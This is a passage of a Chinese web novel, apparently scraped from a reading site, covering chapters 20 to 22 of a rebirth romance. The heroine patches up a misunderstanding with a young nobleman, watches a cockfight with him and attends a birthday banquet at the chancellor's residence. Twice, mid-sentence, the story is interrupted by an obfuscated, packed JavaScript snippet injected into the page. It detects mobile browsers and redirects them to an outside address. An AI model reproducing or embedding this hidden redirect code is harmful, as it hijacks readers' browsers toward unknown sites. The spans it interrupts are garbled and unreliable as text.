他道:“让你过来,你站那么远作甚?我还能吃了你?” 柳舜华见他一副若无其事的模样,愈加委屈,一双眼眸仿佛沾染了水岸的雾气。 “不是你说的,让我别费心思,别死缠烂打?” 贺玄度一愣,“我什么时候说过?” 见他还不承认,柳舜华上前几步,分辩道:“就前几日,我送野果子给你,你让洪声出来赶我走。” 贺玄度眉头一皱,“我什么时候让洪声赶你走了?” 柳舜华呆愣了片刻,见他不似撒谎,便道:“你真不曾说过?” 贺玄度摇头,“我从未如此说过。” “少爷,糖人全买回来了,您要吃一个吗?”洪声举着一手的糖人进来。 贺玄度黑沉着脸,“洪声,前几日我让你向柳小姐传话,你怎么说的?” 洪声意味深长一笑,“少爷不是让我打发柳小姐嘛,放心,我已经办妥了。” 贺玄度急了,“谁让你打发她了?我那就是客气一下,才说让她不必再送东西过来。” 洪声点头,“是啊,少爷是这么说的啊。以往少爷打发那些纠缠你的女子,不都是这么说的。” 这个猪脑子,贺玄度真想一个巴掌拍过去。 “不是,我不是那个意思。这不前几天刚下了雨,山间路滑,我怕你一个姑娘家上山摔着。还有,那个济阳王,他最近几日要回封地,我怕你出门再撞上他。”怕柳舜华不信,他又道:“我真的不是那个意思,那个竹节人很好玩,山果子也好吃,我都很喜欢。” 贺玄度滔滔不绝地解释着,不知为何,一见她伤心难过,他就有些慌。 柳舜华瞧着他手忙脚乱的样子,心中的郁悒一扫而空。 她心头微热,朝着贺玄度粲然一笑,“我信你。” 贺玄度微微一滞,挠头道:“你不生气了?” 柳舜华半垂着眸,嘴角带笑,“我没有生气,就是以为你觉得我烦,有些憋屈。” 洪声进门时并未瞧见柳舜华,听了贺玄度解释,方知犯了大错。 他轻手轻脚地移过来,对着窗外的柳舜华尴尬一笑,“柳小姐,你也在啊。” 柳舜华微笑点头。 洪声苦着脸,不停举手作揖,“柳小姐,我错了。是我愚笨,误解了公子的意思,您就饶了我吧。” 贺玄度瞥了他一眼,又看了他手中的糖人。 “既然你嘴那么闲,那就把这些糖人全吃了吧。” 想了想,尤不解气,又加了一句:“吃不完,不准回府。” 20. 第 20 章 误会解开,隔着窗子,两人各自傻笑了一阵。 半晌,贺玄度才道:“你要不要进来坐坐?” 柳舜华点头,走了进去。 见桌上葡萄酒空了一半,柳舜华微微蹙眉,“怎么喝这么多?饮酒不利伤口愈合。” 贺玄度忙把酒封上,“正准备要封起来呢。” 柳舜华下意识地看了看他的腿,“你的腿,没事吧?” 贺玄度突然想起,第一次相见,柳舜华似乎也是问他的腿。 她对他的腿,就这么感兴趣? 他莫名有些不自在,将腿往回收了收,“没事,早好了。” 柳舜华也觉有些唐突,干咳一声,“对了,我一直没有机会问你,怎么济阳王砍人之事,落到了你头上?” 贺玄度漫不经心道:“那日你们走后,我和济阳王就一起喝酒,越聊越投机。然后,喝着喝着就喝到了他府上。谁知道就喝多了,正巧碰到你兄长上门,我一时意气,想着有难同当,就帮他担着了。” 柳舜华扫了他一眼,他还真是……心思单纯。 “那你们是怎么脱困的,我听说你们查到了许多卓家公子的罪证。” 贺玄度一脸兴奋,“你说那个证据啊,我喝醉后,济阳王差人送我回府。回府路上,有人往我马车里塞了一沓纸进来,我迷迷糊糊地就揣怀里了。” 怎么会这么巧,碰巧在济阳王那里喝醉,碰巧有人送上证据。 突然,柳舜华心中闪过一个念头:这一切,会不会是济阳王的阴谋,他出于某种目的,想要拉贺家下水? 济阳王,会不会根本就不是一个荒唐的王爷,而是个有心计擅谋算的老狐狸。 脑海中济阳王被卡在马车窗的一幕倏然涌现,柳舜华摇摇头。 这个可能性,好像不太大。 贺玄度拿手在她面前挥了挥,“你想什么呢?” 柳舜华回过神,“没想什么。” 没有酒喝,又过了用膳的时辰,两人干坐了片刻,一时有些尴尬。 柳舜华想了想,开口道:“平日里,这个时辰你都做些什么?” “斗鸡啊!”贺玄度脱口而出。 说完他便后悔了,他见过太多那种充满嘲笑,不屑一顾的眼神。 他不想柳舜华也对他露出那种眼神。 “好啊,一起吧。”柳舜华淡声道。 这两日,她误以为贺玄度对她厌烦,虽觉得委屈,却也想了许多。 贺玄度与上一世的他截然不同,已是不争的事实。 她问自己,若贺玄度一直是这副模样,她会失望,就此远离吗? 她很确定,她不会,也不愿。 今生无论贺玄度是何模样,她都会尽自己所能,帮他逃过一劫。 她必须要去了解贺玄度,然后想办法说服他,逃离长安,飞得远远的,再也不回来。 贺玄度怔愣许久,“你说你要跟我一起去斗鸡?” 柳舜华十分肯定地点头,“走吧。” 洪声咔嚓一声,一口将糖人咬碎。 …… 斗鸡场在皇城西门处,临近西市,此时早已是人头攒动。 贺玄度侧着身子,拨开人群,为柳舜华挤出一条路。 被贺玄度扒开的壮汉愤怒转身,骂骂咧咧,瞧见是他后,脸上堆着笑,不再吱声。 斗鸡场里多是男子,何曾来过这么年轻的小姑娘。 众人忍不住偷偷打量,小姑娘虽然戴着帷帽,但风姿不俗,又跟在贺玄度身后,不用想也知,必然是个绝色的。 柳舜华头一回到这种场合,难免有些不适应,只低头蹙眉跟着贺玄度走。 贺玄度不耐地挥手,“看什么看,都给我滚远点。” 众人闻言,纷纷散开。 贺玄度熟练地走到一处台前,见他过来,场主忙让人搬了椅子。 贺玄度偏头示意,“没看到我们两个人吗?” 场主一拍脑袋,“是我眼拙,该打,这就让人再搬一张来。” 柳舜华扫了一圈,发现只有他们这里放了椅子。心叹果然是相府出来的,即便再不受宠,外人面上也不敢轻看。 场主走到贺玄度跟前,弯腰问道:“今日是这只黑鸡和花鸡,刚准备开场,不知道贺二公子要押哪个?” 贺玄度问:“今日怎么个玩法?” 场主笑回:“三局两胜。” 贺玄度眯眼瞅了片刻,随意用手一指,“那个花的吧。” 场主笑了下,“贺二公子,不再考虑一下。” 贺玄度展开扇子,不耐道:“就它了,还是老样子。” 场主也不再多言,忙下去准备。 柳舜华看了看两只鸡,虽然她不太懂斗鸡,但那只黑鸡明显更精瘦结实,高扬着头,两爪粗壮,羽翼有力,看起来强悍无比。 再看那只花鸡,一脸呆相,垂头闭目似在打着瞌睡。 不一会,只听一声鼓响,两只斗鸡被投入围栏之内。 鼓声再起,声声催人。 黑鸡听到鼓声,登时进入战斗状态,伸长着脖子,向花鸡发起进攻。 花鸡明显还未做好准备,冷不丁地被啄了一口,背上一撮毛被黑鸡叼了去。 黑鸡乘胜追击,拍打着翅膀,腾空而起,对着花鸡一顿猛啄。 不一会,围栏内花鸡羽毛散落一地,本就稀疏的羽毛更加秃了。 围观的众人纷纷叫好,寥寥几个押了花鸡的垂头叹气。 柳舜华看着气定神闲的贺玄度,问道:“你不是常玩斗鸡,怎么会选这个花鸡?” 贺玄度不紧不慢道:“自然有我的道理。” 柳舜华看着场内的战况,“你不担心它会输?” 贺玄度笑道:“有什么好担心的,这局,它输定了。” 话音方落,鼓声再次被敲响。 花鸡被连攻数次,无力还击,败了。 柳舜华扑哧一笑,“你不说黑鸡输定了,怎么花鸡却败了?” 贺玄度转向她,“我说的就是花鸡。” 柳舜华不解,“既然知道它会输,那为何还要选它?你不会就只是想看个热闹吧?” 贺玄度凑近了些,方想解释,一阵风起,柳舜华的帷帽被风一吹,飘到他的脸上,淡淡的香气,让他心神微漾。 柳舜华下意识地探身去扯帽纱,一抬头发现,两人近在咫尺。 隔着朦胧的轻纱,两人眸中霎时慌乱。 半晌,贺玄度往后退了一下,敛了心神,“那花鸡毛疏,且身上有不少啄痕,看起来的确不够凶猛。可这也恰好说明它身经百战,那些啄痕够深,够硬,反而更能保护它。” “而且,方才我仔细瞧了,这只鸡头小眼大,鸡冠有瘤,喙短且粗,应是中原鸡。此鸡最是坚毅,若比拼耐力,它未必会落下风。” 柳舜华还是有些不信,指着被啄成秃子的花鸡,笑道:“它都这样了,都不知道反击,怕不是个呆的吧。你若不是瞎选,便是要看走眼了。” 这话贺玄度不爱听了,他斗鸡这么些年,可不是白玩的,“它只是还没被激怒,在观察而已。望之似木鸡,其德全矣[1],你懂什么?” 柳舜华笑容僵在脸上,透过轻纱,就像隔着一世的光阴,静静地望着贺玄度。 贺玄度虽看不清她的面容,却也感觉到气氛有些古怪。 片刻,柳舜华缓缓开口:“你也喜欢读《庄子》?” 贺玄度怔愣一下,嬉笑道:“什么《庄子》,我说的是斗鸡。这些话,斗鸡的都知道,还什么《庄子》,傻了吧。” 他仰着头,双手撑在椅子边缘,晃悠着脑袋,目光又回到斗鸡场。 似有微微一声叹息,他余光一瞥,瞧见柳舜华转了头,专心去看斗鸡。 很快来到第二场,黑鸡依旧勇猛,张开双翼对着花鸡扑去。 花鸡闪躲了几下,黑鸡紧追不舍。 突然,花鸡猛地转过身,对着黑鸡鸡冠狠啄起来,霎时黑鸡头上鲜血涌出。 黑鸡一直占据上风,冷不丁被啄了鸡冠,头上的毛瞬间炸起,朝着花鸡俯冲而来。 花鸡体型较弱,一时不敌,被黑鸡死死压制。 柳舜华看得紧张,整个人忍不住往前探了探身。 就在这时,花鸡脚爪奋起,朝着黑鸡的脖颈狠狠一击。 黑鸡吃痛,爪子一松,花鸡趁机逃脱。 接连受挫,黑鸡疯一般朝花鸡攻去,花鸡一边防守一边退后,趁着黑鸡转身的间隙,对着此前受伤的鸡冠又是一啄。 黑鸡方才止住的血顿时又流了起来,血顺着鸡冠流入眼中。 黑鸡视线受阻,脚步开始混乱。 花鸡见机会来了,对着黑鸡一番痛啄。 黑鸡最终不堪其苦,败下阵来。 锣鼓敲响,这场,花鸡胜了。 贺玄度得意洋洋地看向柳舜华,“怎么样?” 柳舜华点头,“蓄力而发,不错,你很有眼光。” 来到第三场,决胜局,围观之人屏息以待。 黑鸡已被清理了伤口,上了药止血。再上场时,依旧神气活现。 鼓声一响,不等黑鸡进攻,花鸡竟一反常态,横举利爪,先攻击了起来。 黑鸡被花鸡的彪悍震得有些发懵,不自觉退后几步避让。 待反应过来,黑鸡不甘示弱。 两鸡来来往往几十个回合后,黑鸡因消耗过多,渐渐体力不支。 黑鸡似是知晓不能继续缠斗,仗着体型,不断将花鸡逼至角落,对着它的后背猛地啄上一口。花鸡受限于形势,只能不断龟缩在一角。 柳舜华看得心惊,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597421|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花鸡再不能突围,怕是要被黑鸡死死压制住,恐无翻身可能。 围观众人齐声叫好,笃定黑鸡必胜。 瞧见黑鸡步步逼近,花鸡抖了抖翅膀,踩着黑鸡的背,奋力飞起,逃离了束缚。 黑鸡方摇摇晃晃地转身,花鸡便调转过头,俯冲而来,猛地撞向黑鸡。 黑鸡被逼不断退后,双脚一滑,竟跌了出去。 顷刻间,胜负已分。 周遭一片苦叫,一个个叹息不止。 贺玄度歪头得意看向柳舜华,活像个斗胜的大公鸡,“这下有钱了,你想吃什么?我请。” …… 摊铺前冒着热气,肉香扑鼻,叫卖吆喝声四起,道不尽市井百态。 贺玄度擦了汤匙递给柳舜华,“都说了要请你,你却跑来吃这些?” 柳舜华接过汤匙道谢,“这个时节,喝点羊汤养胃。” 雪白的羊汤,混着新鲜的羊肉,上面撒了一层翠绿的小葱,闻着便让人胃口大开。 柳舜华喝了一口,一脸满足,“还是原来的味道。这家羊肉汤味道很不错,没有一点腥膻气,你尝尝。” 贺玄度慢吞吞地拿起汤匙,尝了一下,“还可以。” 柳舜华午膳吃得少,这会早饿了,加上又好这口羊汤,很快便喝个精光。 贺玄度静静地看着她,她吃饭的样子谈不上端庄,但也绝不至于粗俗,就是……极其认真,认真到让人以为她面前的是世间绝无仅有的美味。 “你为何会与我一同看斗鸡?”贺玄度垂眸搅动着汤匙,“你不觉得我就是个没用的纨绔?” 柳舜华放下汤匙,抬头看着贺玄度,“初次相见,你说要看斗鸡时,我的确觉得你纨绔,可慢慢地我就想通了。” 贺玄度:“想通了?想通什么?” 柳舜华想了一下,“就比如我,我从小就喜欢做些小玩意。在有些人眼里,又何尝不是奇技淫巧,上不得台面。” 她凑近一些,笑道:“所以说,你会觉得,我很纨绔吗?” 贺玄度轻笑一声,“这算哪门子纨绔,做做小玩意,取悦自己而已。” 柳舜华笑道:“对啊,可见凡事只要不过于沉迷,张弛有度,有些爱好,虽不被人接受,倒也不算什么坏事。” 贺玄度抬眸,“那怎么算不过度沉迷?” 柳舜华迎上他的目光,“我原以为,你日日留恋斗鸡场,是贪图享乐。可今日一看,你却并不像那些斗鸡客一样痴迷。方才斗鸡之时,我瞧着你还没我上心呢。贺玄度,你去玩斗鸡,到底是为什么,是真的喜欢,还是只是无聊,来打发时间?” 贺玄度愣了一下,没想到她会这么问。 烟气缭绕中,他神色模糊不清,柳舜华却感觉到莫名的哀伤。 贺玄度喃喃道:“为什么,哪有那么多为什么。反正无论我活成什么样,也不会有人在意。” 柳舜华好像有些懂了。 上辈子,她从老夫人那里,听到过一些贺玄度小时候的事。 贺玄度自幼得母亲亲自教养,一向聪慧伶俐。 兄弟姐妹同在一处听讲,他总是比别人学得快些。 可父亲却从未夸过他,反而是对贺玄晖偏爱有加,赞他端正知礼。 贺玄度不服,读书愈发卖力,以期能引起父亲的注意。 可不管他如何努力,都只换来贺丞相冷冷一句:切勿自傲。 后来,其母病故,贺玄度无依无靠,更不得丞相欢心。 在老夫人膝下养了几年,与贺丞相关系愈加疏远。 幼时的贺玄度,一直想得到父亲的肯定,这几乎成了他的执念。 所以当他意识到,无论如何都不会被父亲正眼相看之时,便开始放纵自己。 见柳舜华久久无语,贺玄度很快收起情绪,转而幽怨道:“柳舜华,难道你看不出来我在伤感?好歹我也请你吃了羊汤,你也不安慰我两句。” “我在想方才的斗鸡,一时走了神。” 柳舜华连声致歉后,又问:“贺玄度,你说它们为什么会斗?” 贺玄度懒懒看着她,“自然是为了赢啊。” 柳舜华摇头:“为谁赢呢?若是为人,它们是鸡,人赢不赢于它们毫不相干;若是为自己,可无论输赢,它们最后的下场都一样,皆是他人盘中餐。” 贺玄度微微有些诧异,他从未想过这个问题。 “最初,它们只是相互试探,并无多大斗志。可鼓声越响,人群叫得越欢,它们便斗得越凶。”柳舜华道:“你说,为了那些毫无用处的呼声,将自己弄得千疮百孔,真的值得吗?” 贺玄度怔愣地看向柳舜华,明明他什么也没说,可她却好像什么都懂。 “贺玄度,你不用得到任何人的认可。”柳舜华说得无比肯定,“你可以,为自己而活。” 21. 第 21 章 天气日暖,海棠花开得正艳的时候,相府迎来老夫人的寿辰。 贺玄度晨起,推开窗,正对上院中的西府海棠。 深绿之间,花开秾丽,芳华尽显,娇若美人。 他莫名想起了柳舜华。 当日斗鸡后同柳舜华分开,晚上他辗转一夜。 脑海中反反复复都是柳舜华的那句“为自己而活。” “公子,衣服熏了一整夜,银纤姑姑调的香,你闻闻怎么样?”洪声捧着衣服进来。 槿紫瑞鹤献寿锦绣袍,红色暗花交领,带着若有似无的香气,在今日这种场合穿,再合适不过。 贺玄度接过穿上,又拿了玉革带系在腰间。 洪声啧啧两声,心道真是人逢喜事精神爽,一向不着边际的公子少了几分纨绔之气后,更显得俊朗非凡。 穿戴好,贺玄度让洪声找来镜子,仔细照了照,又问:“我瞧着如何?” 洪声诧异,公子何时关注起自己容貌来了。 他堆笑道:“公子自是风流倜傥,无人能及。” 贺玄度满意地点头,对着洪声道:“把我给祖母准备的寿礼放好,我出去一下,回来再拿。” 洪声疑道:“少爷,怎么这会要出去,有什么事,你交待我办就好了。” 话未说完,贺玄度早已跑了出去。 马车穿过长街,一路上柳舜华未发一言。 上辈子,因脸上起了红疹,柳舜华并未参加老夫人寿宴。老夫人听闻她生病,直呼事不凑巧,还当着宾客的面,将她夸得天上有地上无,以至相府夫人对她都起了心思。 这辈子,她戴着帷帽,老夫人无从得知其身份。她和贺玄晖的这段孽缘,绝不会从此开始。 柳棠华扭着身子,半趴在窗前,看着街道上琳琅满目的各式物件,待看得累了,才回过身。 “姐姐,你有心事,怎么心不在焉的?” 柳舜华笑了笑,“哪有什么心事,不过是第一次去相府,有些紧张罢了。” 柳棠华拉过她的手,“姐姐长得美,人又聪明,到哪里都会有人喜欢,有什么可紧张的。” 柳舜华被她逗笑了,“你再夸,我就要飘上天了。” 柳棠华嘴甜,“在我心里,姐姐可不就是天上的仙女。” 柳桓安的马车行在前头,柳舜华姐妹下了马车,远远瞧见兄长等在门口。 相府门前挂起了大红绸,就连门前的古柳都包裹得绚丽多姿。赴宴官员往来络绎不绝,车水马龙。一个个奉上拜帖,寿礼不断往内抬。 这几日柳大人突犯头疾,今日只由柳桓安带着两人。 喜庆的氛围让人格外放松,柳桓安今日显得格外神采飞扬。 他笑着嘱咐道:“棠华,今日人多,待会进去可莫要乱跑,要听舜华的话。” 柳棠华娇嗔一笑:“兄长莫要看不起人,这种场合,我知道分寸的。” 柳桓安拍着她的头,“好,是兄长说错话了。” 三兄妹有说有笑,正欲进门,便听到了他们最不想听到的声音。 “兄长,姐姐,等等我。” 柳蔓华提着裙摆,一路小跑朝他们而来。 三人面面相觑,她怎么来了? 这下有些麻烦了。 若是在柳府门口还好,柳舜华大可寻了由头将她打发。可这会在相府门口,人多眼杂,稍有不慎便会令柳家颜面尽失。 投鼠忌器,她这步棋,走得实在是高。 柳蔓华行至三人跟前,笑吟吟道:“姐姐怎么走得这么快,也不知道叫上我?” 柳桓安无奈地看了眼柳舜华,柳蔓华是女孩子,他作为兄长,实在不好开口叫她回去。 柳蔓华什么品性,还有她此行的目的,柳舜华再清楚不过。 这里可是相府,今日朝中高官显贵皆在,兄长要应对贺丞相,贺容暄又与她颇有嫌隙,绝不能出乱子。 柳舜华不动声色道:“蔓华妹妹,怎么相府也向你们下了帖子?” 柳蔓华脸色一沉,随即又换上了笑脸,“姐姐这是说得哪里话,什么你们我们的,咱们柳家自是一体。” 当初祖父母亡故,父亲掌家,婶母觉得事事被压一头,撺掇着叔父分了家。分家之时,叔父厚着脸皮拿走家中大半钱财,仅留下个旧宅子给他们。这些年,看着父亲从部丞做到大司农丞,渐渐积攒一点家业,他们便又想着法子过来搜刮。父亲作为兄长,疼惜幼弟,他们非但不知感恩,反以为他们柔善可欺。如今两家分开已经十余年,她竟还厚着脸皮说两家一体。 柳棠华翻了个白眼,小声嘟囔着:“这会倒是一体了。” 毕竟是在相府门前,柳舜华到底给她留了几分面子,“蔓华妹妹,此前我已经回帖,柳府只有我与棠华来寿宴,带上你恐多有不便。” 柳蔓华却是一笑,上前挽着柳舜华的胳膊,“姐姐,多带一个人而已,还不是大哥哥一句话的事。咱们已在这站了许久,也该进去了。” 柳舜华心内一叹,柳蔓华实在是难缠。 为了借机觅得良人,她真的是什么都做得出来。 “柳舜华。”熟悉的声音响起。 柳舜华抬头望去,正是贺玄度。 贺玄度今日虽穿戴依旧隆重,装饰却素淡了许多,连带着眉宇间的狂放与傲慢都消减几分。他脸带笑意,春光之下,倒有几分萧萧君子气。 柳舜华怔怔地瞧着他走过来,恍惚又看到了上辈子那个清俊超逸的贺玄度。 贺玄度走近才看到柳桓安,对着他道:“柳兄好。” 柳桓安见他直呼妹妹的名字,心中已有几分不满,自然不会给他好脸色,只是淡淡点头,“贺二公子。” 贺玄度转身走到柳舜华跟前,装作不熟的样子,客气道:“柳小姐你们怎么不进去?” 柳舜华趁机扒开柳蔓华的手,笑道:“在同妹妹说些话,正要进去呢。” 柳蔓华方才听到柳桓安叫他贺二公子,已经知晓他的身份。 她忙跟着行了礼,捋了捋鬓边的头发,娇声道:“贺二公子好。” 贺玄度却是看都不看一眼,只向着柳舜华道:“我听说,此次柳府只来两位女眷,不知哪个才是你亲妹妹。” 柳舜华会意,拉过柳棠华,“这个是我妹妹,棠华。” 柳蔓华不死心,在旁插嘴道:“贺二公子,我是舜华姐姐的堂妹,蔓华。” 贺玄度漫不经心地转过头,语中满是嫌弃,“不好意思,这位柳小姐,你是什么人与我无关,我压根不想知道。” 柳蔓华还是第一次被人如此当面奚落,一时难以自持,登时眼圈泛红,落下泪来,哭得梨花带雨。 她这一哭,哭得柳舜华都无可奈何。 丞相府门前人来人往,他们一行人站在这里已是十分打眼,她又在这里哭了起来,惹得宾客纷纷侧目。 柳舜华憋着一口气,闷闷地发不出来。 柳桓安素知柳舜华不喜这个堂妹,他也觉得她有些矫揉造作,可任由她在相府门前哭着,也不是回事。 他正想着要如何开口,便听到一声轻哼。 贺玄度脸色冷了下来,“柳小姐,你什么意思?来相府捣乱的吗?” 深邃的桃花眼中覆了一层寒霜,带着威压,让人不敢直视。 柳蔓华被吓了一跳,立时收住哭声,咬着嘴唇,垂下眼眸。 贺玄度瞥了她一眼,“柳小姐,今日是我祖母寿辰,你这样当面给我们相府找难堪,是在挑衅吗?” 柳蔓华惊恐抬头,忙道:“不是,不是,贺二公子,你误会了,我……” 贺玄度冷冷地打断她:“既然不是,那就有多远走多远。我告诉你,你已经得罪了本公子,我不想再看到你,听懂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630032|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 柳蔓华又怕又委屈,目光转投向柳桓安。 柳桓安转身招呼车夫过来,“蔓华小姐不舒服,你送她回去吧。” 柳蔓华心有不甘,恨恨地望着柳舜华。 站了片刻,她心一横,甩开帘子,钻进马车。 贺玄度见人走了,转身向柳桓安笑道:“柳公子,请。” 柳桓安兄妹由贺玄度引着,进了丞相府。 柳舜华一踏进院内,胸中止不住一阵憋闷,压得她喘不过气。 上辈子那些过往,梦境一般不断在脑海中闪现: 欢喜的鼓乐声中,她被八抬大轿抬进府。 贺玄晖的冷言冷语,婆母姑嫂的冷嘲热讽。 熊熊燃烧的大火,灼热蚀骨的窒息感…… “柳小姐,当心脚下。” 清亮的嗓音穿过一世的光阴,将往事击碎,浇灭了心头的灼热与不甘。 柳舜华回过神,才发现已经进了内院,要跨一步台阶。 她冲着贺玄度一笑,“多谢贺二公子提醒。” 柳棠华拉了下柳舜华的衣袖,低声道:“姐姐,这贺二公子真不错,长得俊又细心,人也好生厉害。” 柳舜华疑道:“厉害?” 柳棠华点头,“对啊,你看方才,他三言两语说得蔓华姐姐都无从招架,真过瘾。” 上辈子贺玄度总是不争不抢,清冷淡然,从不与人费口舌功夫,相府像没有他这个人一样。 而如今的贺玄度,但凡不痛快,嘴上从不饶人。 柳舜华笑了笑,在贺家,他这样也挺好。 贺玄度耳朵灵,将两人的话听得个大概,听到有人夸他,愈发抬头挺胸,健步如飞。 “果然,像蔓华妹妹这样扭捏作态的娇小姐,就需要个疯疯癫癫的纨绔来治。”柳棠华眉飞色舞地加了一句。 贺玄度脚步一滞,眉头深锁,这是夸他还是骂他。 柳舜华轻轻掐了把柳棠华的手臂,示意她住嘴,“瞎说什么呢,别乱说。” 柳棠华朝她做个鬼脸,乖乖跟在身后。 柳桓安边走边道:“真是不好意思,要劳烦贺二公子亲自带路。” 贺玄度摆摆手,目光有意无意地瞥过柳舜华,“我也是碰巧经过门口,顺道而已。” 宴席设在相府东苑,几人踏过几道门,不知转了多少圈,一路亭台楼阁,张灯结彩,寿乐不绝。 临到女眷宴席上,远远瞧见宾客们三三两两,谈笑风生。 贺玄度将他们送至此处,向三人拜别,便先行离去。 柳舜华望着远去的贺玄度,颀长的身材,清瘦挺拔,悠然穿过水榭,风带起他的衣袍,墨发束起,愈发衬得整个人清爽利落。 挺直的脊背,清朗雅致,流水般清冷,皓月般温润,分明就是前世的贺玄度。 她一时有些怔愣,许久才缓缓收回目光。 “公子,可算找到你了。绿玉不知道怎么了,喂它东西也不吃,看起来病恹恹的。” 洪声提着绿玉,脚步生风,一溜烟地跑过来。 尚未走出水榭的贺玄度顿住脚步,忙伸手去摸绿玉。 手还未碰到,只见方才还懒洋洋的绿玉,眼里冒着光,扑腾着翅膀朝对岸飞去。 宴会上的宾客齐齐望过去。 在众人惊诧的目光中,绿玉稳稳落在柳舜华肩头。 贺二公子的鹦鹉,似乎与这位小姐极为熟稔。 又想到方才两人一起过来,再望向柳舜华时,在场宾客眼中明显多了几分暧昧。 柳舜华咳了一声,不动声色地推了推绿玉,绿玉抓紧她的衣衫,依旧岿然不动。 柳棠华看到绿玉,欣喜不已,方想张口,眼一瞥,瞧见身旁的兄长眉头紧蹙。 柳桓安面色凝重,对着走来的贺玄度道:“贺二公子,这是你的鹦鹉?” 22. 第 22 章 贺玄度明显感觉到一股杀气。 他很想否认,但他整天提着绿玉晃悠,绿玉又聒噪,在座的都是常客,几乎没有人不知道它。 他只得硬着头皮笑道:“没错,是我的。” 柳桓安脸色难看到不行,这个纨绔子,竟将主意打到舜华头上了。 凭他也配! 柳舜华看着脸色铁青的兄长,本来还想笑一下让自己看起来更自然,然而嘴角动了几下,愣是没笑出来。 洪声一瞧氛围不对,自知闯了祸,灵机一动,满脸堆笑朝着柳舜华走去。 “这位小姐,您也在啊,可真是太巧了。” 柳舜华眉头微微挑起,洪声这是什么意思? 不等柳舜华回答,洪声又对着贺玄度道:“公子,您还不知道吧,前几日绿玉走失,就是这位小姐帮忙找回的。” 贺玄度很快反应过来,忍不住想给洪声鼓掌,总算靠谱一回。 他忙笑道:“绿玉能够被寻回,原来多赖柳小姐帮忙。柳小姐大恩,定当相报。” 众人一听,都说贺玄度爱这鹦鹉如命,果不其然。 柳小姐不过是帮忙寻回,这都算大恩了? 柳桓安脸色终于有所缓和,原来如此。 虚惊一场! 贺玄度小心翼翼地绕过柳桓安,走到柳舜华跟前,对她肩头绿玉道:“绿玉,滚回来。” 绿玉懒洋洋地打着哈欠,压根不听他说话。 贺玄度低声威胁道:“再不回来,你信不信,我把你那些吃的全拿去喂狗。” 绿玉一听,挥着翅膀朝贺玄度扇过去。 贺玄度一把抓过绿玉,紧紧捏住它的嘴,生怕它再乱叫。 洪声跟着贺玄度后面,一溜烟跑了。 待出了水榭,贺玄度一巴掌拍在洪声背上,“好小子,干得漂亮,你终于开窍了。” 洪声心有余悸,他可不想再因为柳小姐吃糖人了。 柳桓安看着贺玄度离开,转头对上柳舜华,“蓁蓁,那个鹦鹉怎么回事?” 柳舜华只得顺着洪声的话道:“鹦鹉是我在集市上买的,原不知道是贺二公子走失的。前几日,它自己飞了出去,我去寻它之时,碰到了洪声,就是贺二公子的侍从,便还给了他。” 虽是一场误会,柳桓安到底有些不放心,“日后再碰到这位二公子,离他远一些,不然再出现这样的荒唐事,岂不是要连累你的名声。” 柳舜华不住点头称是。 看她如此乖巧,柳桓安总算放下心来,又细心嘱咐道:“我要去旁边的良园,你们好生在这里待着。等宴会结束,我来寻你们。” 柳舜华点头,“兄长放心,我会照顾好芊芊的。” 柳桓安想了想,又低声道:“那个,贺小姐……” 柳舜华笑了笑:“兄长,我不是小孩了,会自己应付的。何况,女子之间,哪有那么些利益纠葛,没事的。” 柳桓安这才放心离开。 柳舜华两人还未落座,左右贵女便同她们攀谈起来。 “两位妹妹瞧着眼生,不知是哪家的?” “方才那位,是你们兄长吗?” 柳桓安俊逸绝伦,端方有礼,每次出现,总能引得小姐妹们问东问西。 柳棠华无比自豪,仰头对众人笑道:“我们是城西柳家的,我兄长是新晋的鸿胪寺丞。” 鸿胪寺丞,官职倒是一般,可经不住柳桓安实在俊美,贵女们热情不减。 “如此年纪,能得丞相府相邀,可见柳大人必是有不凡之处。” “是啊,能得相爷赏识,想必将来定是前途不可限量。” “有其兄必有其妹,两位妹妹瞧着像是从画里走出来的一样,真叫人喜欢。” “可不是嘛,你们这一进来,满庭的春色都被压下去了。” 贵女们觉得单说柳桓安有些露骨,顺带着连她们两人一起夸了个遍。 柳舜华笑着一一作答,又与她们寒暄几句,这才缓缓落座。 众人惊叹,她不过是小门小户出身,又如此年纪,竟这般举止有度,气度不凡,便是她们出身世家,也未必比得过。因此,对她喜爱又多了几分。 上辈子被禁锢在这座宅院,虽说平日里无人理会,但凡相府大小宴会,她作为相府长媳,还是要参加。这种场合她见得多了,应付起来自然得心应手。 待两人坐下,柳棠华兴奋地盯着面前的各色果子,眼巴巴地看着柳舜华。 老夫人寿辰一向往来宾客不绝,寿宴开得晚,怕宾客们饿坏肚子,相府总会提前备好干果点心,以供宾客餐前享用。 柳舜华笑笑,轻声道:“吃吧,没事,这就是给客人备的。只是,你记得不要全吃完,不然空着不好看。” 柳棠华点头,专心吃起了果子。 离开宴尚早,此时老夫人还未出来,丞相夫人与贺容暄也未现身。 这个时辰,有头有脸的主母们多半提前去了后院去行礼,此时宴上多是一些年轻的女眷,显得格外随意些。 “你猜,我方才在门口看到了谁的马车?” “谁啊,架势还能大得过丞相府不成。” “刘妉柔。” 柳舜华手中的茶盏微微一抖。 刘妉柔,贺玄晖放在心尖上的意中人。 曾经横亘在她与贺玄晖之间,怎样也无法绕不过的女子。 尽管她对贺玄晖早没了感情,但再次听到这个名字,心中难免还是有些波动。 